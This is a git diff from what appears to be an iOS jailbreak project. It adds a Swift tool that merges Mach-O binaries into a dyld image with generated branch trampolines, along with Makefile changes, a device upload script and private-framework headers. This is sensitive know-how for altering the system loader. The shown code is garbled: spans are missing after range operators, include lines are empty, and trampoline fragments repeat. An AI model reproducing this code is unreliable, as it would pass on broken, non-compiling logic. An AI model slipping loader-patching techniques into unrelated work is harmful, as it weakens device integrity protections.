dataStr) + } else if cmd is DSymTabLoadCommand { + // Will be handled later + } else if let unixthread = cmd as? UnixThreadLoadCommand { + result.unixthread = unixthread.threadStates + } else if cmdNum == LC_SEGMENT_SPLIT_INFO { + result.splitInfo = getLECmdData(cmd, name: "LC_SEGMENT_SPLIT_INFO") + } else if cmdNum == LC_FUNCTION_STARTS { + result.functionStarts = getLECmdData(cmd, name: "LC_FUNCTION_STARTS") + } else if cmdNum == LC_DATA_IN_CODE { + result.dataInCode = getLECmdData(cmd, name: "LC_DATA_IN_CODE") + } else if cmdNum == LC_LOAD_DYLIB { + // Handle this + } else if cmdNum == LC_ID_DYLIB || cmdNum == LC_UUID || cmdNum == LC_ID_DYLINKER || cmdNum == LC_BUILD_VERSION || cmdNum == LC_SOURCE_VERSION { + result.otherCommands.append(cmd) + } else if cmdNum == LC_CODE_SIGNATURE || cmdNum == LC_ENCRYPTION_INFO_64 { + } else { + print("Unhandled command \(cmd.type)") + exit(-1) + } + } + + for cmd in machO.cmds { + if let dysym = cmd as? DSymTabLoadCommand { + guard result.symtab != nil else { + print("DYSYMTAB without SYMTAB!") + exit(-1) + } + + let `indirect` = machOExtract(Int(dysym.indirectOff), 4 * Int(dysym.indirectCount)) + + guard dysym.tocCount == 0 else { + print("DYSYMTAB: TOC not supported!") + exit(-1) + } + + guard dysym.moduleTblCount == 0 else { + print("DYSYMTAB: Module Tables not supported!") + exit(-1) + } + + guard dysym.extSymTblCount == 0 else { + print("DYSYMTAB: External symbol tables not supported!") + exit(-1) + } + + guard dysym.extRelCount == 0 else { + print("DYSYMTAB: External relocation not supported!") + exit(-1) + } + + guard dysym.localRelCount == 0 else { + print("DYSYMTAB: Local relocation not supported!") + exit(-1) + } + + result.dysymtab = (localStart: Int(dysym.localSymOff), localCount: Int(dysym.localSymCount), externalStart: Int(dysym.externalSymOff), externalCount: Int(dysym.externalSymCount), undefStart: Int(dysym.undefSymOff), undefCount: Int(dysym.undefSymCount), indirect: `indirect`) + + break + } + } + + return result +} + +// Collect data from both MachOs +var dataA = collectData(fromMachO: a) +var dataB = collectData(fromMachO: b) + +// Patch out magic of both MachOs +// Fixes issues with some third party software (e.g. Frida) finding the wrong place and mistaking it for the header +// Of course the root issue is in third party software, but I guess we can make their life easier +let magicReplacement = UInt32(0xd0d0d0d0) + +/* + * Now comes the real magic: Merging the MachOs. + * To do this, the following steps have to be performed: + * 1. Merge all the segments and generate appropriate reloc information + * Relocation information will simply be section -> offset + */ + +// Segments with the same name will be merged +// We will output segments in the following order: r-x r-- rw- + +var segments: [(String, [(isB: Bool, origCommand: Segment64LoadCommand, data: Data, offset: UInt64)])] = [] +for seg in dataA.segments { + guard !segments.contains(where: { $0.0 == seg.0.name }) else { + print("Found duplicate segment! [A]") + exit(-1) + } + + var data = seg.1 + + if seg.0.name == "__TEXT" { + data = Data(fromObject:magicReplacement) + data.subdata(in: 4.. Bool? { + if a.rawValue == b.rawValue { + return nil + } else if a.rawValue == (VM_PROT_READ | VM_PROT_EXECUTE) { + return true + } else if a.rawValue == VM_PROT_READ && b.rawValue == (VM_PROT_READ | VM_PROT_WRITE) { + return true + } + + return false +} + +guard !sortingRequired else { + print("FIXME: sortingRequired not implemented!") + exit(-1) +} + +// Relocate segments +var curReloc: UInt64 = 0x4000 // Reserve some space for our new header +var nSegments: [(String, [(isB: Bool, origCommand: Segment64LoadCommand, data: Data, offset: UInt64)])] = [] +for var seg in segments { + let origVM = seg.1[0].origCommand.vmAddr + seg.1[0].offset = curReloc &- origVM + + curReloc += seg.1[0].origCommand.vmSize + curReloc = (curReloc + pageMaskOff) & pageMask + + if seg.1.count == 2 { + let origVM = seg.1[1].origCommand.vmAddr + seg.1[1].offset = curReloc &- origVM + + curReloc += seg.1[1].origCommand.vmSize + curReloc = (curReloc + pageMaskOff) & pageMask + } + + nSegments.append(seg) +} + +let relocInfo = RelocInfo(segRel: nSegments) + +// Okay, we've relocated the segments +// Now we'll need to fix them +fixupViaSplitInfo(infoA: dataA, infoB: dataB, relocInfo: relocInfo) + +// The segments themselfes are fixed now +// What's left is essentially chained fixups and a few others +let newChainedFixups = mergeChainedFixups(infoA: dataA, infoB: dataB, relocInfo: relocInfo, machOA: a, machOB: b) + +// Generate trampolines +if let symsB = try? b.getSymbolTable(), + let symsA = try? a.getSymbolTable() { + for sym in symsB.symbols { + if sym.name.starts(with: "_MACHOMERGER_TRAMPOLINE_") { + let dstName = sym.name.replacingOccurrences(of: "_MACHOMERGER_TRAMPOLINE", with: "") + + var dstAddr: UInt64! + if let d = getMagicSymbolVal(dstName) { + dstAddr = d.0 + } else if let d = symsA.symbol(forName: dstName) { + dstAddr = d.value + } + + guard dstAddr != nil else { + print("Cannot resolve symbol \(dstName)") + exit(-1) + } + + // Generate instruction + let at = relocInfo.translate(address: sym.value, isB: true) + let to = relocInfo.translate(address: dstAddr, isB: false) + + let delta = Int64(bitPattern: to &- at) + let deltaSh = delta >> 2 + guard deltaSh <= 0x3FFFFFF && deltaSh >= -0x3FFFFFF else { + print("Cannot generate trampoline: Delta too large!") + exit(-1) + } + + let instr = 0x14000000 | UInt32(deltaSh & 0x03FFFFFF) + + // Write it + let seg = relocInfo.segment(forOrigAddress: sym.value, isB: true)! + let off = Int(seg.3) + var data = seg.1 + data = data.subdata(in: 0..> 2 + guard deltaSh <= 0x3FFFFFF && deltaSh >= -0x3FFFFFF else { + print("Cannot generate trampoline: Delta too large!") + exit(-1) + } + + let instr = 0x14000000 | UInt32(deltaSh & 0x03FFFFFF) + + // Write it + let seg = relocInfo.segment(forOrigAddress: sym.value, isB: true)! + let off = Int(seg.3) + var data = seg.1 + data = data.subdata(in: 0..> 2 + guard deltaSh <= 0x3FFFFFF && deltaSh >= -0x3FFFFFF else { + print("Cannot generate trampoline: Delta too large!") + exit(-1) + } + + let instr = 0x14000000 | UInt32(deltaSh & 0x03FFFFFF) + + // Write it + let seg = relocInfo.segment(forOrigAddress: dstAddr, isB: false)! + let off = Int(seg.3) + var data = seg.1 + let origInsn = data.subdata(in: off...size) +_ = withUnsafeMutableBytes(of: &linkeditLC.segname) { ptr in + strcpy(ptr.baseAddress!, "__LINKEDIT") +} +linkeditLC.vmaddr = lastSegment.origCommand.vmAddr + lastSegment.offset + lastSegment.origCommand.vmSize +linkeditLC.vmsize = UInt64(linkedit.count) +linkeditLC.fileoff = lastSegment.origCommand.fileOffset + lastSegment.offset + lastSegment.origCommand.fileSize +linkeditLC.filesize = UInt64(linkedit.count) +linkeditLC.maxprot = VM_PROT_READ +linkeditLC.initprot = VM_PROT_READ +linkeditLC.nsects = 0 +linkeditLC.flags = 0 +loadCommandsSLC.appendGeneric(value: linkeditLC) +loadCommandsCount += 1 + +var hdr = mach_header_64() +hdr.magic = MH_MAGIC_64 +hdr.cputype = CPU_TYPE_ARM64 +hdr.cpusubtype = Int32(bitPattern: a.cpuSubType) +hdr.filetype = UInt32(MH_DYLINKER) +hdr.ncmds = UInt32(loadCommandsCount) +hdr.sizeofcmds = UInt32(loadCommands.count + loadCommandsSLC.count) + +machOHdr.appendGeneric(value: hdr) +machOHdr.append(loadCommandsSLC) +machOHdr.append(loadCommands) + +guard machOHdr.count < 0x4000 else { + print("Generated MachO header too large!") + exit(-1) +} + +machOHdr.append(Data(repeating: 0, count: 0x4000 - machOHdr.count)) + +var out = machOHdr + machOData + linkedit + +try out.write(to: URL(fileURLWithPath: CommandLine.arguments[3])) + +/*let resMachO = try MachO(out) + +let testCF = try resMachO.getChainedFixups() +try testCF.forEachFixup { location, vAddr, content in + print("\(pStr(location)) -> \(pStr(vAddr))") +}*/ + +print("Done!") diff --git a/BaseBin/MachOMerger/upload.sh b/BaseBin/MachOMerger/upload.sh new file mode 100755 index 0000000000..192d481c33 --- /dev/null +++ b/BaseBin/MachOMerger/upload.sh @@ -0,0 +1,8 @@ +set -e + +PROJECT_NAME=MachOMerger +DEVICE=iPhoneXs.iOS15 + +make +ssh $DEVICE "rm -rf /var/jb/$PROJECT_NAME" +scp ./$PROJECT_NAME $DEVICE:/var/jb/$PROJECT_NAME \ No newline at end of file diff --git a/BaseBin/Makefile b/BaseBin/Makefile index e7cc4729c2..17b4dee56f 100644 --- a/BaseBin/Makefile +++ b/BaseBin/Makefile @@ -7,58 +7,64 @@ #choma: # $(MAKE) -C ChOma TARGET=ios DISABLE_SIGNING=1 DYLIB_LDFLAGS="-install_name @loader_path/libchoma.dylib" $@ -all: .build .include ChOma XPF opainject libjailbreak systemhook forkfix launchdhook boomerang jbctl idownloadd watchdoghook rootlesshooks basebin.tc basebin.tar +all: basebin.tar -ChOma: +subprojects: ChOma XPF MachOMerger opainject libjailbreak systemhook forkfix launchdhook boomerang jbctl idownloadd watchdoghook rootlesshooks + +ChOma: .build .include @$(MAKE) -C ChOma TARGET=ios DISABLE_SIGNING=1 DISABLE_TESTS=1 DYLIB_LDFLAGS="-install_name @loader_path/libchoma.dylib" @cp ChOma/output/ios/lib/libchoma.dylib .build @cp -r ChOma/output/ios/include/choma .include -XPF: - @$(MAKE) -C XPF libxpf.dylib CHOMA_DYLIB_PATH="../.build" - @cp XPF/libxpf.dylib .build +XPF: .build .include ChOma + @$(MAKE) -C XPF output/ios/libxpf.dylib CHOMA_PATH=../ChOma CHOMA_DYLIB_PATH="../.build" + @cp XPF/output/ios/libxpf.dylib .build/libxpf.dylib @mkdir -p .include/xpf @cp XPF/src/xpf.h .include/xpf -opainject: +MachOMerger: .build .include + @$(MAKE) -C MachOMerger + @cp MachOMerger/MachOMerger .build + +opainject: .build .include $(MAKE) -C opainject FINALPACKAGE=1 @cp opainject/.theos/obj/opainject .build -libjailbreak: +libjailbreak: .build .include ChOma $(MAKE) -C libjailbreak @cp libjailbreak/libjailbreak.dylib .build @mkdir -p .include/libjailbreak @cp libjailbreak/src/*.h .include/libjailbreak -systemhook: +systemhook: .build .include libjailbreak $(MAKE) -C systemhook @cp systemhook/systemhook.dylib .build -forkfix: +forkfix: .build .include libjailbreak systemhook $(MAKE) -C forkfix @cp forkfix/forkfix.dylib .build -launchdhook: +launchdhook: .build .include libjailbreak $(MAKE) -C launchdhook @cp launchdhook/launchdhook.dylib .build -boomerang: +boomerang: .build .include libjailbreak $(MAKE) -C boomerang @cp boomerang/boomerang .build -jbctl: +jbctl: .build .include libjailbreak $(MAKE) -C jbctl @cp jbctl/jbctl .build -idownloadd: +idownloadd: .build .include libjailbreak $(MAKE) -C idownloadd @cp idownloadd/idownloadd .build -watchdoghook: +watchdoghook: .build .include libjailbreak $(MAKE) -C watchdoghook @cp watchdoghook/watchdoghook.dylib .build -rootlesshooks: +rootlesshooks: .build .include libjailbreak $(MAKE) -C rootlesshooks @cp rootlesshooks/.theos/obj/rootlesshooks.dylib .build @@ -72,17 +78,28 @@ rootlesshooks: rm -rf .include mkdir -p .include cp -r _external/include/* .include +# If the SDK already ships XPC (it does so in iOS 17.4+), remove the local copy of it +ifneq (,$(wildcard $(shell xcrun --sdk iphoneos --show-sdk-path)/usr/include/xpc.modulemap)) + rm -rf .include/xpc +endif -basebin.tc: +basebin.tc: subprojects trustcache create .build/basebin.tc .build cp .build/basebin.tc basebin.tc -basebin.tar: +# dyldhook dylibs do not need to be added to the basebin trustcache +dyldhook: basebin.tc + $(MAKE) -C dyldhook + @cp dyldhook/*.dylib .build + +basebin.tar: basebin.tc dyldhook + @find ./.build -name ".DS_Store" -delete @DYLD_FALLBACK_LIBRARY_PATH="." ./tar --transform "s/^.build/basebin/" -cvf "basebin.tar" ".build" --owner=0 --group=0 clean: @$(MAKE) -C ChOma $@ @$(MAKE) -C XPF $@ + @$(MAKE) -C MachOMerger $@ @$(MAKE) -C opainject $@ @$(MAKE) -C libjailbreak $@ @$(MAKE) -C systemhook $@ @@ -93,9 +110,10 @@ clean: @$(MAKE) -C idownloadd $@ @$(MAKE) -C watchdoghook $@ @$(MAKE) -C rootlesshooks $@ + @$(MAKE) -C dyldhook $@ @rm -rf .build @rm -rf .include @rm -rf basebin.tar @rm -rf basebin.tc -.PHONY: clean .build .include ChOma XPF opainject libjailbreak systemhook forkfix launchdhook boomerang jbctl idownloadd watchdoghook rootlesshooks basebin.tc basebin.tar \ No newline at end of file +.PHONY: clean .build .include ChOma XPF MachOMerger opainject libjailbreak systemhook forkfix launchdhook boomerang jbctl idownloadd watchdoghook rootlesshooks basebin.tc dyldhook basebin.tar \ No newline at end of file diff --git a/BaseBin/XPF b/BaseBin/XPF index 6351191166..bc9c880b46 160000 --- a/BaseBin/XPF +++ b/BaseBin/XPF @@ -1 +1 @@ -Subproject commit 635119116696c254a3f305f66f4a7c5b5917e6d9 +Subproject commit bc9c880b46fc29ec0368b44f485c677e7c65bc5c diff --git a/BaseBin/_external/basebin/.version b/BaseBin/_external/basebin/.version index 415b19fc36..158349812d 100644 --- a/BaseBin/_external/basebin/.version +++ b/BaseBin/_external/basebin/.version @@ -1 +1 @@ -2.0 \ No newline at end of file +2.4.9 \ No newline at end of file diff --git a/BaseBin/_external/basebin/LaunchDaemons/com.opa334.Dopamine.idownloadd.plist b/BaseBin/_external/basebin/LaunchDaemons/com.opa334.Dopamine.idownloadd.plist index 2ca9e726c8..29f617055a 100644 --- a/BaseBin/_external/basebin/LaunchDaemons/com.opa334.Dopamine.idownloadd.plist +++ b/BaseBin/_external/basebin/LaunchDaemons/com.opa334.Dopamine.idownloadd.plist @@ -14,5 +14,7 @@ KeepAlive + Disabled + diff --git a/BaseBin/_external/frameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer.tbd b/BaseBin/_external/frameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer.tbd new file mode 100644 index 0000000000..86e1debbf2 --- /dev/null +++ b/BaseBin/_external/frameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer.tbd @@ -0,0 +1,163 @@ +--- !tapi-tbd-v3 +archs: [ armv7, armv7s, arm64, arm64e ] +platform: ios +flags: [ flat_namespace ] +install-name: /System/Library/PrivateFrameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer +current-version: 1 +compatibility-version: 1 +exports: + - archs: [ armv7, armv7s, arm64, arm64e ] + symbols: [ _IOMFBGainEncoderCreate, _IOMFBGainEncoderDestroy, + _IOMFBGainEncoderEmitEmptyRows, + _IOMFBGainEncoderEmitRun, + _IOMFBGainEncoderFinishEncoding, + _IOMFBGainEncoderStartRow, _IOMFBGainMapRelease, + _IOMFBGainMapRetain, _IOMFBgainencoder_count, + _IOMFBgainencoder_emit_empty_rows, + _IOMFBgainencoder_emit_run, _IOMFBgainencoder_finish, + _IOMFBgainencoder_free, _IOMFBgainencoder_get_origin, + _IOMFBgainencoder_get_size, _IOMFBgainencoder_map, + _IOMFBgainencoder_map_size, _IOMFBgainencoder_new, + _IOMFBgainencoder_row_1_coded, + _IOMFBgainencoder_set_origin, + _IOMFBgainencoder_start_row, + _IOMobileFrameBufferEnableDebugTracing, + _IOMobileFrameBufferEnableVBLTraces, + _IOMobileFrameBufferGetDebugTraces, + _IOMobileFrameBufferGetMirroringCapability, + _IOMobileFrameBufferPrintDebugTraces, + _IOMobileFrameBufferSetLogLevel, + _IOMobileFrameBufferSwapSetContrastEnhancerStrength, + _IOMobileFrameBufferSwapSetUserLuminanceAdjustment, + _IOMobileFrameBufferprintDisplayRegs, + _IOMobileFramebufferChangeFrameInfo, + _IOMobileFramebufferCopyLayerDisplayedSurface, + _IOMobileFramebufferCopyProperty, + _IOMobileFramebufferCreateDisplayList, + _IOMobileFramebufferCreateStatistics, + _IOMobileFramebufferDisableCRCNotifications, + _IOMobileFramebufferDisableHotPlugDetectNotifications, + _IOMobileFramebufferDisablePowerNotifications, + _IOMobileFramebufferDisableVSyncNotifications, + _IOMobileFramebufferEnableCRCNotifications, + _IOMobileFramebufferEnableDisableDithering, + _IOMobileFramebufferEnableDisableVideoPowerSavings, + _IOMobileFramebufferEnableHotPlugDetectNotifications, + _IOMobileFramebufferEnableMirroring, + _IOMobileFramebufferEnablePowerNotifications, + _IOMobileFramebufferEnableStatistics, + _IOMobileFramebufferEnableVSyncNotifications, + _IOMobileFramebufferFactoryPortal, + _IOMobileFramebufferFrameInfo, + _IOMobileFramebufferGetBlock, + _IOMobileFramebufferGetBrightnessControlCapabilities, + _IOMobileFramebufferGetBrightnessControlInfo, + _IOMobileFramebufferGetBufBlock, + _IOMobileFramebufferGetCRCNotifyMessageCount, + _IOMobileFramebufferGetCRCRunLoopSource, + _IOMobileFramebufferGetCanvasSizes, + _IOMobileFramebufferGetColorRemapMode, + _IOMobileFramebufferGetCurrentAbsoluteTime, + _IOMobileFramebufferGetDigitalOutMode, + _IOMobileFramebufferGetDigitalOutState, + _IOMobileFramebufferGetDisplayArea, + _IOMobileFramebufferGetDisplaySize, + _IOMobileFramebufferGetDotPitch, + _IOMobileFramebufferGetFrameworkInfo, + _IOMobileFramebufferGetGammaTable, + _IOMobileFramebufferGetHDCPAuthenticationProtocol, + _IOMobileFramebufferGetHDCPDownstreamState, + _IOMobileFramebufferGetHDCPRunLoopSource, + _IOMobileFramebufferGetHotPlugRunLoopSource, + _IOMobileFramebufferGetID, + _IOMobileFramebufferGetLayerDefaultSurface, + _IOMobileFramebufferGetLinkQuality, + _IOMobileFramebufferGetMainDisplay, + _IOMobileFramebufferGetMatrix, + _IOMobileFramebufferGetMirrorError, + _IOMobileFramebufferGetProtectionOptions, + _IOMobileFramebufferGetRunLoopSource, + _IOMobileFramebufferGetSecondaryDisplay, + _IOMobileFramebufferGetServiceObject, + _IOMobileFramebufferGetSupportedDigitalOutModes, + _IOMobileFramebufferGetTypeID, + _IOMobileFramebufferGetVSyncRunLoopSource, + _IOMobileFramebufferGetWirelessSurface, + _IOMobileFramebufferGetWirelessSurfaceWithOptions, + _IOMobileFramebufferHDCPGetReply, + _IOMobileFramebufferHDCPSendRequest, + _IOMobileFramebufferInstallVirtualDisplay, + _IOMobileFramebufferInstallVirtualDisplays, + _IOMobileFramebufferIsMainDisplay, + _IOMobileFramebufferKernelTests, + _IOMobileFramebufferOpen, + _IOMobileFramebufferOpenByName, + _IOMobileFramebufferReadyForSwap, + _IOMobileFramebufferRequestPowerChange, + _IOMobileFramebufferSPLCGetBrightness, + _IOMobileFramebufferSPLCSetBrightness, + _IOMobileFramebufferScheduleWithDispatchQueue, + _IOMobileFramebufferSetBlock, + _IOMobileFramebufferSetBrightnessControlCallback, + _IOMobileFramebufferSetBrightnessCorrection, + _IOMobileFramebufferSetCanvasSize, + _IOMobileFramebufferSetColorRemapMode, + _IOMobileFramebufferSetContrast, + _IOMobileFramebufferSetDebugFlags, + _IOMobileFramebufferSetDigitalOutMode, + _IOMobileFramebufferSetDisplayDevice, + _IOMobileFramebufferSetDroppable, + _IOMobileFramebufferSetFlags, + _IOMobileFramebufferSetGammaTable, + _IOMobileFramebufferSetIdleBuffer, + _IOMobileFramebufferSetLine21Data, + _IOMobileFramebufferSetMatrix, + _IOMobileFramebufferSetMirrorContentRegion, + _IOMobileFramebufferSetParameter, + _IOMobileFramebufferSetPreset, + _IOMobileFramebufferSetRenderingAngle, + _IOMobileFramebufferSetTVOutMode, + _IOMobileFramebufferSetTVOutSignalType, + _IOMobileFramebufferSetTwilightStrength, + _IOMobileFramebufferSetUnderrunColor, + _IOMobileFramebufferSetVideoDACGain, + _IOMobileFramebufferSetWSSInfo, + _IOMobileFramebufferSetWhiteOnBlackMode, + _IOMobileFramebufferSupportedFrameInfo, + _IOMobileFramebufferSurfaceIsReplaceable, + _IOMobileFramebufferSwapActiveRegion, + _IOMobileFramebufferSwapBegin, + _IOMobileFramebufferSwapCancel, + _IOMobileFramebufferSwapCancelAll, + _IOMobileFramebufferSwapDebugInfo, + _IOMobileFramebufferSwapDirtyRegion, + _IOMobileFramebufferSwapEnd, + _IOMobileFramebufferSwapSetAmbientLux, + _IOMobileFramebufferSwapSetBackgroundColor, + _IOMobileFramebufferSwapSetBlit, + _IOMobileFramebufferSwapSetBrightness, + _IOMobileFramebufferSwapSetBrightnessLimit, + _IOMobileFramebufferSwapSetColorMatrix, + _IOMobileFramebufferSwapSetColorRemapMode, + _IOMobileFramebufferSwapSetDisplayEdr, + _IOMobileFramebufferSwapSetDisplayEdrHeadroom, + _IOMobileFramebufferSwapSetGainMap, + _IOMobileFramebufferSwapSetGammaTable, + _IOMobileFramebufferSwapSetICCCurve, + _IOMobileFramebufferSwapSetICCMatrix, + _IOMobileFramebufferSwapSetLayer, + _IOMobileFramebufferSwapSetParams, + _IOMobileFramebufferSwapSetTimestamp, + _IOMobileFramebufferSwapSetTimestamps, + _IOMobileFramebufferSwapSetUISubRegion, + _IOMobileFramebufferSwapSetVideoDestEdgeAlpha, + _IOMobileFramebufferSwapSignal, + _IOMobileFramebufferSwapSubtitleRegion, + _IOMobileFramebufferSwapUIEdgeBlendMode, + _IOMobileFramebufferSwapWait, + _IOMobileFramebufferSwapWaitWithTimeout, + _IOMobileFramebufferSwapWorkaroundSettings, + _IOMobileFramebufferUnscheduleFromDispatchQueue, + _IOMobileFramebufferWaitSurface, _kIOMFB_TotalSwaps, + _kIOMFB_TotalVBLs ] +... diff --git a/BaseBin/_external/include/CoreServices/LSApplicationProxy.h b/BaseBin/_external/include/CoreServices/LSApplicationProxy.h index d8c0faa14e..809ed166cb 100644 --- a/BaseBin/_external/include/CoreServices/LSApplicationProxy.h +++ b/BaseBin/_external/include/CoreServices/LSApplicationProxy.h @@ -2,4 +2,5 @@ @interface LSApplicationProxy : LSBundleProxy @property (getter=isInstalled,nonatomic,readonly) BOOL installed; + (instancetype)applicationProxyForIdentifier:(NSString *)identifier; +@property (nonatomic,readonly) NSSet * claimedURLSchemes; @end \ No newline at end of file diff --git a/BaseBin/_external/include/IOMobileFramebuffer/IOMobileFramebuffer.h b/BaseBin/_external/include/IOMobileFramebuffer/IOMobileFramebuffer.h new file mode 100644 index 0000000000..04fb1b02b6 --- /dev/null +++ b/BaseBin/_external/include/IOMobileFramebuffer/IOMobileFramebuffer.h @@ -0,0 +1,38 @@ +#ifndef IOMOBILEFRAMEBUFFER_IOMOBILEFRAMEBUFFER_H +#define IOMOBILEFRAMEBUFFER_IOMOBILEFRAMEBUFFER_H + +#include +#include +#include +#include + +typedef IOReturn IOMobileFramebufferReturn; +typedef struct __IOMobileFramebuffer *IOMobileFramebufferRef; +typedef CGSize IOMobileFramebufferDisplaySize; + +__BEGIN_DECLS + +IOMobileFramebufferReturn +IOMobileFramebufferGetMainDisplay(IOMobileFramebufferRef *pointer); + +IOMobileFramebufferReturn +IOMobileFramebufferGetSecondaryDisplay(IOMobileFramebufferRef *pointer); + +IOMobileFramebufferReturn +IOMobileFramebufferGetDisplaySize(IOMobileFramebufferRef pointer, IOMobileFramebufferDisplaySize *size); + +IOMobileFramebufferReturn +IOMobileFramebufferGetLayerDefaultSurface(IOMobileFramebufferRef pointer, int surface, IOSurfaceRef *buffer); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapBegin(IOMobileFramebufferRef pointer, int *token); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapEnd(IOMobileFramebufferRef pointer); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapSetLayer(IOMobileFramebufferRef pointer, int layerid, IOSurfaceRef buffer, CGRect bounds, CGRect frame, int flags); + +__END_DECLS + +#endif \ No newline at end of file diff --git a/BaseBin/_external/include/dyld_cache_format.h b/BaseBin/_external/include/dyld_cache_format.h new file mode 100644 index 0000000000..352b9e72d4 --- /dev/null +++ b/BaseBin/_external/include/dyld_cache_format.h @@ -0,0 +1,622 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2006-2015 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef __DYLD_CACHE_FORMAT__ +#define __DYLD_CACHE_FORMAT__ + +#include +#include + +#include "fixup-chains.h" + + +struct dyld_cache_header +{ + char magic[16]; // e.g. "dyld_v0 i386" + uint32_t mappingOffset; // file offset to first dyld_cache_mapping_info + uint32_t mappingCount; // number of dyld_cache_mapping_info entries + uint32_t imagesOffsetOld; // UNUSED: moved to imagesOffset to prevent older dsc_extarctors from crashing + uint32_t imagesCountOld; // UNUSED: moved to imagesCount to prevent older dsc_extarctors from crashing + uint64_t dyldBaseAddress; // base address of dyld when cache was built + uint64_t codeSignatureOffset; // file offset of code signature blob + uint64_t codeSignatureSize; // size of code signature blob (zero means to end of file) + uint64_t slideInfoOffsetUnused; // unused. Used to be file offset of kernel slid info + uint64_t slideInfoSizeUnused; // unused. Used to be size of kernel slid info + uint64_t localSymbolsOffset; // file offset of where local symbols are stored + uint64_t localSymbolsSize; // size of local symbols information + uint8_t uuid[16]; // unique value for each shared cache file + uint64_t cacheType; // 0 for development, 1 for production, 2 for multi-cache + uint32_t branchPoolsOffset; // file offset to table of uint64_t pool addresses + uint32_t branchPoolsCount; // number of uint64_t entries + uint64_t dyldInCacheMH; // (unslid) address of mach_header of dyld in cache + uint64_t dyldInCacheEntry; // (unslid) address of entry point (_dyld_start) of dyld in cache + uint64_t imagesTextOffset; // file offset to first dyld_cache_image_text_info + uint64_t imagesTextCount; // number of dyld_cache_image_text_info entries + uint64_t patchInfoAddr; // (unslid) address of dyld_cache_patch_info + uint64_t patchInfoSize; // Size of all of the patch information pointed to via the dyld_cache_patch_info + uint64_t otherImageGroupAddrUnused; // unused + uint64_t otherImageGroupSizeUnused; // unused + uint64_t progClosuresAddr; // (unslid) address of list of program launch closures + uint64_t progClosuresSize; // size of list of program launch closures + uint64_t progClosuresTrieAddr; // (unslid) address of trie of indexes into program launch closures + uint64_t progClosuresTrieSize; // size of trie of indexes into program launch closures + uint32_t platform; // platform number (macOS=1, etc) + uint32_t formatVersion : 8, // dyld3::closure::kFormatVersion + dylibsExpectedOnDisk : 1, // dyld should expect the dylib exists on disk and to compare inode/mtime to see if cache is valid + simulator : 1, // for simulator of specified platform + locallyBuiltCache : 1, // 0 for B&I built cache, 1 for locally built cache + builtFromChainedFixups : 1, // some dylib in cache was built using chained fixups, so patch tables must be used for overrides + padding : 20; // TBD + uint64_t sharedRegionStart; // base load address of cache if not slid + uint64_t sharedRegionSize; // overall size required to map the cache and all subCaches, if any + uint64_t maxSlide; // runtime slide of cache can be between zero and this value + uint64_t dylibsImageArrayAddr; // (unslid) address of ImageArray for dylibs in this cache + uint64_t dylibsImageArraySize; // size of ImageArray for dylibs in this cache + uint64_t dylibsTrieAddr; // (unslid) address of trie of indexes of all cached dylibs + uint64_t dylibsTrieSize; // size of trie of cached dylib paths + uint64_t otherImageArrayAddr; // (unslid) address of ImageArray for dylibs and bundles with dlopen closures + uint64_t otherImageArraySize; // size of ImageArray for dylibs and bundles with dlopen closures + uint64_t otherTrieAddr; // (unslid) address of trie of indexes of all dylibs and bundles with dlopen closures + uint64_t otherTrieSize; // size of trie of dylibs and bundles with dlopen closures + uint32_t mappingWithSlideOffset; // file offset to first dyld_cache_mapping_and_slide_info + uint32_t mappingWithSlideCount; // number of dyld_cache_mapping_and_slide_info entries + uint64_t dylibsPBLStateArrayAddrUnused; // unused + uint64_t dylibsPBLSetAddr; // (unslid) address of PrebuiltLoaderSet of all cached dylibs + uint64_t programsPBLSetPoolAddr; // (unslid) address of pool of PrebuiltLoaderSet for each program + uint64_t programsPBLSetPoolSize; // size of pool of PrebuiltLoaderSet for each program + uint64_t programTrieAddr; // (unslid) address of trie mapping program path to PrebuiltLoaderSet + uint32_t programTrieSize; + uint32_t osVersion; // OS Version of dylibs in this cache for the main platform + uint32_t altPlatform; // e.g. iOSMac on macOS + uint32_t altOsVersion; // e.g. 14.0 for iOSMac + uint64_t swiftOptsOffset; // VM offset from cache_header* to Swift optimizations header + uint64_t swiftOptsSize; // size of Swift optimizations header + uint32_t subCacheArrayOffset; // file offset to first dyld_subcache_entry + uint32_t subCacheArrayCount; // number of subCache entries + uint8_t symbolFileUUID[16]; // unique value for the shared cache file containing unmapped local symbols + uint64_t rosettaReadOnlyAddr; // (unslid) address of the start of where Rosetta can add read-only/executable data + uint64_t rosettaReadOnlySize; // maximum size of the Rosetta read-only/executable region + uint64_t rosettaReadWriteAddr; // (unslid) address of the start of where Rosetta can add read-write data + uint64_t rosettaReadWriteSize; // maximum size of the Rosetta read-write region + uint32_t imagesOffset; // file offset to first dyld_cache_image_info + uint32_t imagesCount; // number of dyld_cache_image_info entries + uint32_t cacheSubType; // 0 for development, 1 for production, when cacheType is multi-cache(2) + uint64_t objcOptsOffset; // VM offset from cache_header* to ObjC optimizations header + uint64_t objcOptsSize; // size of ObjC optimizations header + uint64_t cacheAtlasOffset; // VM offset from cache_header* to embedded cache atlas for process introspection + uint64_t cacheAtlasSize; // size of embedded cache atlas + uint64_t dynamicDataOffset; // VM offset from cache_header* to the location of dyld_cache_dynamic_data_header + uint64_t dynamicDataMaxSize; // maximum size of space reserved from dynamic data +}; + +// Uncomment this and check the build errors for the current mapping offset to check against when adding new fields. +// template class A { int x[-size]; }; A a; + + +struct dyld_cache_mapping_info { 